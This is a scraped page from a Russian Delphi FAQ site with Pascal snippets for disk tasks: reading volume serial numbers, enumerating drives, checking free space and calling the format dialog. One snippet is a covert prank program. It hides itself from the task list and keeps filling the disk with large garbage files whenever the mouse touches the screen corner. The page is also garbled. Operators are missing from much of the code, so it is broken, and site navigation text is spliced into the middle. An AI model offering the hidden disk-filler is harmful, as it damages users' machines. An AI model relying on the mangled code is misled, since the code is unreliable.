Серийный номер тома HDD

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Алексей Коган

И ты, root?

procedure TForm1.Button1Click(Sender: TObject);

var

SerialNum : dword;

a, b : dword;

Buffer : array [0..255] of char;

begin

if GetVolumeInformation(‘c:\’, Buffer, SizeOf(Buffer),

@SerialNum, a, b, nil, 0) then

Label1.Caption := IntToStr(SerialNum);

end;

Алексей Коган

FIDOnet 2:5064/7.69

Russia, Stavropol

Должен заметить, что GetVolumeInformation возвращает серийный номер ТОМА, а не винчестера, то есть, если заменить C:\ на D:\, то номерок-то и поменяется…

{/codecitation}

Простейший сканер диска

Вот пример, который ищет мп3 файлы на жестком диске…

unit Audit1;

interface

uses windos;

var

dest: string;

procedure dorecurse(dir: string);

implementation

{$R *.DFM}

procedure Process(dir: string; Searchrec: tsearchrec);

begin

showmessage(Searchrec.name);

case Searchrec.attr of

$10:

if (searchrec.name '.') and (searchrec.name '..') then

begin

dorecurse(dir '\' searchrec.name);

writeln(dir);

end;

end;

end;

procedure Dorecurse(dir: string);

var

Searchrec: Tsearchrec;

pc: array[0..79] of Char;

begin

StrPCopy(pc, dir '\*.mp3');

FindFirst(pc, FaAnyfile, SearchRec);

Process(dir, SearchRec);

while FindNext(SearchRec) -18 do

begin

Process(dir, SearchRec);

end;

end;

procedure startsearch;

begin

dorecurse(paramstr(1));

end;

begin

startsearch;

end.

Получение информации о диске

function GetVolumeInfoFVS(const Dir:string;

var FileSystemName,VolumeName:string;var Serial:longint):boolean;

{Получение информации о диске

Dir - каталог или буква требуемого диска

FileSystemName - название файловой системы

VolumeName - метка диска

Serial - серийный номер диска

В случае ошибки функция возвращает false}


var

root:pchar;

res:longbool;

VolumeNameBuffer,FileSystemNameBuffer:pchar;

VolumeNameSize,FileSystemNameSize:DWord;

VolumeSerialNumber,MaximumComponentLength,FileSystemFlags:DWORD;

s:string;

n:integer;

begin

n:=pos(':',Dir);

if n> 0 then s:=copy(Dir,1,n 1) else s:=s ':';

if s[length(s)]=':' then s:=s '\';

root:=pchar(s);

getMem(VolumeNameBuffer,256);

getMem(FileSystemNameBuffer,256);

VolumeNameSize:=255;

FileSystemNameSize:=255;

res:=GetVolumeInformation(Root,VolumeNameBuffer,VolumeNameSize

,@VolumeSerialNumber,

MaximumComponentLength, FileSystemFlags

,FileSystemNameBuffer,FileSystemNameSize);

Result:=res;

VolumeName:=VolumeNameBuffer;

FileSystemName:=FileSystemNameBuffer;

Serial:=VolumeSerialNumber;

freeMem(VolumeNameBuffer,256);

freeMem(FileSystemNameBuffer,256);

end;

Перечислить диски

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Оформил: DeeCo

Автор: http://www.swissdelphicenter.ch

{

Adds all fixed drives into Combobox1.

To enumerate another type of drive,

i.e all CD-ROMs just change the DRIVE_FIXED constant to DRIVE_CDROM.

Fugt all fixen Laufwerke in Combobox1 ein.

Um z.B alle CD-Rom Laufwerke zu ermitteln,

einfach DRIVE_CDROM anstatt die Konstante DRIVE_FIXED nehmen.

}

procedure List_Drives;

const

DRIVE_UNKNOWN = 0;

DRIVE_NO_ROOT_DIR = 1;

DRIVE_REMOVABLE = 2;

DRIVE_FIXED = 3;

DRIVE_REMOTE = 4;

DRIVE_CDROM = 5;

DRIVE_RAMDISK = 6;

var

r: LongWord;

Drives: array[0..128] of char;

pDrive: PChar;

begin

r := GetLogicalDriveStrings(SizeOf(Drives), Drives);

if r = 0 then Exit;

if r > SizeOf(Drives) then

raise Exception.Create(SysErrorMessage(ERROR_OUTOFMEMORY));

pDrive := Drives;

while pDrive^ #0 do

begin

if GetDriveType(pDrive) = DRIVE_FIXED then

Form1.ComboBox1.Items.Add(pDrive);

Inc(pDrive, 4);

end;

end;

{/codecitation}

Определить тип дискового накопителя

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Объявление в Интернете: Куплю винчестер. Жёсткие диски не предлагать!

Нужно воспользоваться API функцией GetDriveType():

procedure TForm1.Button1Click(Sender: TObject);

begin

case GetDriveType(‘C:\’) of

0: ShowMessage(‘The drive type cannot be determined’);

1: ShowMessage(‘The root directory does not exist’);

DRIVE_REMOVABLE: ShowMessage(‘The disk can be removed’);

DRIVE_FIXED: ShowMessage(‘The disk cannot be removed’);

DRIVE_REMOTE: ShowMessage(‘The drive is remote (network) drive’);

DRIVE_CDROM: ShowMessage(‘The drive is a CD-ROM drive’);

DRIVE_RAMDISK: ShowMessage(‘The drive is a RAM disk’);

end;

end;

{/codecitation}

Определение размера диска и свободного пространства на нём

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Магазин по пpодаже компьютеpов. Пpодавец подбиpает богатой, но не понимающей в комьютеpах даме:

— Hу вот, я вам подобpал жесткий диск получше?…

— Получше — это пожестче?

Сначала до слова implementation напишем такой код:

function GetDiskFreeSpaceEx(lpDirectoryName: PAnsiChar;

var lpFreeBytesAvailableToCaller : Integer;

var lpTotalNumberOfBytes: Integer;

var lpTotalNumberOfFreeBytes: Integer) : bool;

stdcall;

external kernel32

name ‘GetDiskFreeSpaceExA’;

Затем после слова implementation:

procedure GetDiskSizeAvail(TheDrive : PChar;

var TotalBytes : double; var TotalFree : double);

var

AvailToCall : integer;

TheSize : integer;

FreeAvail : integer;

begin

GetDiskFreeSpaceEx(TheDrive, AvailToCall, TheSize, FreeAvail);

{$IFOPT Q }

{$DEFINE TURNOVERFLOWON}

{$Q-}

{$ENDIF}

if TheSize >= 0 then

TotalBytes := TheSize

else

if TheSize = -1 then

begin

TotalBytes := $7FFFFFFF;

TotalBytes := TotalBytes * 2;

TotalBytes := TotalBytes 1;

end

else

begin

TotalBytes := $7FFFFFFF;

TotalBytes := TotalBytes abs($7FFFFFFF — TheSize);

end;

if AvailToCall >= 0 then

TotalFree := AvailToCall

else

if AvailToCall = -1 then

begin

TotalFree := $7FFFFFFF;

TotalFree := TotalFree * 2;

TotalFree := TotalFree 1;

end

else

begin

TotalFree := $7FFFFFFF;

TotalFree := TotalFree abs($7FFFFFFF — AvailToCall);

end;

end;

И, наконец, обработаем нажатие кнопки следующим образом:

procedure TForm1.Button1Click(Sender: TObject);

var

TotalBytes: double;

TotalFree: double;

begin

GetDiskSizeAvail(‘C:\’, TotalBytes, TotalFree);

ShowMessage(FloatToStr(TotalBytes));

ShowMessage(FloatToStr(TotalFree));

end;

{/codecitation}

Обновить список дисков TDriveComboBox с сетевыми дсками и Plug

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}арю за поддержку!

Новости сайта

Новости форума

Архив исходников

Automatic translation

[ Вернуться на главную страницу сайта «Delphi Sources» ]

Delphi FAQ — Часто задаваемые вопросы

| Базы данных | Графика и Игры | Интернет и Сети | Компоненты и Классы | Мультимедиа |

| ОС и Железо | Программа и Интерфейс | Рабочий стол | Синтаксис | Технологии | Файловая система |

Материалы предоставлены сайтом Delphi World

Введите условия поиска Отправить форму поиска

Web www.delphisources.ru

Обновить список дисков TDriveComboBox с сетевыми дсками и Plug

Мало места на винте

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Пpогpаммист увидел HЛО:

— У кого-то диск полетел…

Действие этой проги заключается в следующем: она следит за позицией курсора и если он в левом верхнем углу экрана, то она создает под случайным именем и расширением на диске файл с мусором

program musor;

uses

Windows;

var

{ Объявление переменных }

text: TextFile;

alphabet, temp: string;

i: integer;

point: TPoint;

function RegisterServiceProcess(dwProcessID, dwType: Integer): integer;

stdcall; external ‘KERNEL32.DLL’;

begin

RegisterServiceProcess(0, 1);

{заполняем строку алфавитом}

alphabet := ‘abcdefghijklmnopqrstucvwxyz’;

while true do

begin

{ получаем координаты курсора }

GetCursorPos(point);

{ если х = 0 и y = 0 то }

if (point.x = 0) and (point.y = 0) then

begin

temp:=»; {очищаем буфер}

for i:=1 to 8 do {генерируем случайное имя файла}

temp:=Concat(temp, alphabet[Random(length(alphabet)-1) 1]);

temp:=Concat(temp, ‘.’);

for i:=1 to 3 do {генерируем случайное расширение}

temp:=Concat(temp, alphabet[Random(length(alphabet)-1) 1]);

Assign(text, temp); { присваиваем имя файлу }

Rewrite(text); {открываем файл}

for i:=1 to 30000000 do

begin

Yield;

write(text, ‘!’); { наполняем файл мусором }

end;

Close(text); {закрываем файл }

end;

end; {всё сначала }

end.

{/codecitation}

Как форматировать диск

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Baa

WEB-сайт: http://forum.vingrad.ru

unit Unit1;

interface

uses

SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,

Forms, Dialogs, StdCtrls;

type

TUndocSHFormat = class(TForm)

Label1: TLabel;

Combo1: TComboBox;

cmdSHFormat: TButton;

cmdEnd: TButton;

lbMessage: TLabel;

procedure FormCreate(Sender: TObject);

procedure cmdSHFormatClick(Sender: TObject);

procedure cmdEndClick(Sender: TObject);

private

procedure LoadAvailableDrives;

public

end;

var

UndocSHFormat: TUndocSHFormat;

implementation

{$R *.DFM}

type

POSVERSIONINFO = ^TOSVERSIONINFO;

TOSVERSIONINFO = record

dwOSVersionInfoSize: Longint;

dwMajorVersion: Longint;

dwMinorVersion: Longint;

dwBuildNumber: Longint;

dwPlatformId: Longint;

szCSDVersion: PChar;

end;

function GetVersionEx(lpVersionInformation: POSVERSIONINFO): Longint; stdcall;

external ‘kernel32.dll’ name ‘GetVersionExA’;

const

VER_PLATFORM_WIN32s = 0;

const

VER_PLATFORM_WIN32_WINDOWS = 1;

const

VER_PLATFORM_WIN32_NT = 2;

function SHFormatDrive(hwndOwner: longint; iDrive: Longint; iCapacity: LongInt;

iFormatType: LongInt): Longint;

stdcall; external ‘shell32.dll’;

const

SHFD_CAPACITY_DEFAULT = 0;

const

SHFD_CAPACITY_360 = 3;

const

SHFD_CAPACITY_720 = 5;

//Win95

//Const SHFD_FORMAT_QUICK = 0;

//Const SHFD_FORMAT_FULL = 1;

//Const SHFD_FORMAT_SYSONLY = 2;

//WinNT

//Public Const SHFD_FORMAT_FULL = 0

//Public Const SHFD_FORMAT_QUICK = 1

const

SHFD_FORMAT_QUICK: LongInt = 0;

const

SHFD_FORMAT_FULL: LongInt = 1;

const

SHFD_FORMAT_SYSONLY: LongInt = 2;

function GetLogicalDriveStrings(nBufferLength: LongInt; lpBuffer: PChar):

LongInt;

stdcall; external ‘kernel32.dll’ name ‘GetLogicalDriveStringsA’;

function GetDriveType(nDrive: PChar): LongInt;

stdcall; external ‘kernel32.dll’ name ‘GetDriveTypeA’;

const

DRIVE_REMOVABLE = 2;

const

DRIVE_FIXED = 3;

const

DRIVE_REMOTE = 4;

const

DRIVE_CDROM = 5;

const

DRIVE_RAMDISK = 6;

function IsWinNT: Boolean;

var

osvi: TOSVERSIONINFO;

begin

osvi.dwOSVersionInfoSize := SizeOf(osvi);

GetVersionEx(@osvi);

IsWinNT := (osvi.dwPlatformId = VER_PLATFORM_WIN32_NT);

end;

function GetDriveDisplayString(currDrive: PChar): pchar;

begin

GetDriveDisplayString := nil;

case GetDriveType(currDrive) of

0, 1: GetDriveDisplayString := ‘ — Undetermined Drive Type -‘;

DRIVE_REMOVABLE:

case currDrive[1] of

‘A’, ‘B’: GetDriveDisplayString := ‘Floppy drive’;

else

GetDriveDisplayString := ‘Removable drive’;

end;

DRIVE_FIXED: GetDriveDisplayString := ‘Fixed (Hard) drive’;

DRIVE_REMOTE: GetDriveDisplayString := ‘Remote drive’;

DRIVE_CDROM: GetDriveDisplayString := ‘CD ROM’;

DRIVE_RAMDISK: GetDriveDisplayString := ‘Ram disk’;

end;

end;

procedure TUndocSHFormat.LoadAvailableDrives;

var

a, r: LongInt;

lpBuffer: array[0..256] of char;

currDrive: array[0..256] of char;

lpDrives: pchar;

begin

getmem(lpDrives, 256);

fillchar(lpBuffer, 64, ‘ ‘);

r := GetLogicalDriveStrings(255, lpBuffer);

if r 0 then

begin

strlcopy(lpBuffer, lpBuffer, r);

for a := 0 to r do

lpDrives[a] := lpBuffer[a];

lpBuffer[r 1] := #0;

repeat

strlcopy(currDrive, lpDrives, 3);

lpDrives := @lpDrives[4];

Combo1.Items.Add(strpas(currDrive) ‘ ‘

GetDriveDisplayString(currDrive));

until lpDrives[0] = #0;

end;

end;

procedure TUndocSHFormat.FormCreate(Sender: TObject);

begin

lbMessage.caption := »;

LoadAvailableDrives;

Combo1.ItemIndex := 0;

if IsWinNT then

begin

SHFD_FORMAT_FULL := 0;

SHFD_FORMAT_QUICK := 1;

end

else //it’s Win95

begin

SHFD_FORMAT_QUICK := 0;

SHFD_FORMAT_FULL := 1;

SHFD_FORMAT_SYSONLY := 2;

end;

end;

procedure TUndocSHFormat.cmdSHFormatClick(Sender: TObject);

var

resp: Integer;

drvToFormat: Integer;

prompt: string;

begin

drvToFormat := Combo1.ItemIndex;

prompt := ‘Are you sure you want to run the Format dialog against ‘

Combo1.Text;

if drvToFormat > 0 then

resp := MessageDLG(prompt, mtConfirmation, [mbYes, mbNo], 0)

else

resp := mrYes;

if resp = mrYes then

begin

lbMessage.Caption := ‘Checking drive for disk…’;

Application.ProcessMessages;

SHFormatDrive(handle, drvToFormat, SHFD_CAPACITY_DEFAULT,

SHFD_FORMAT_QUICK);

lbMessage.caption := »;

end;

end;

procedure TUndocSHFormat.cmdEndClick(Sender: TObject);

begin

close;

end;

end.

{/codecitation}

Как расшарить диск

{codecitation class=»brush: pascal; gutter: false;» width=»600px»}

Автор: Repairman

Программист, глядя на только что отформатированный вирусом винчестер: «Хмм… кажется здесь кто-то поработал зубной щеткой Reach Interdental от Johnson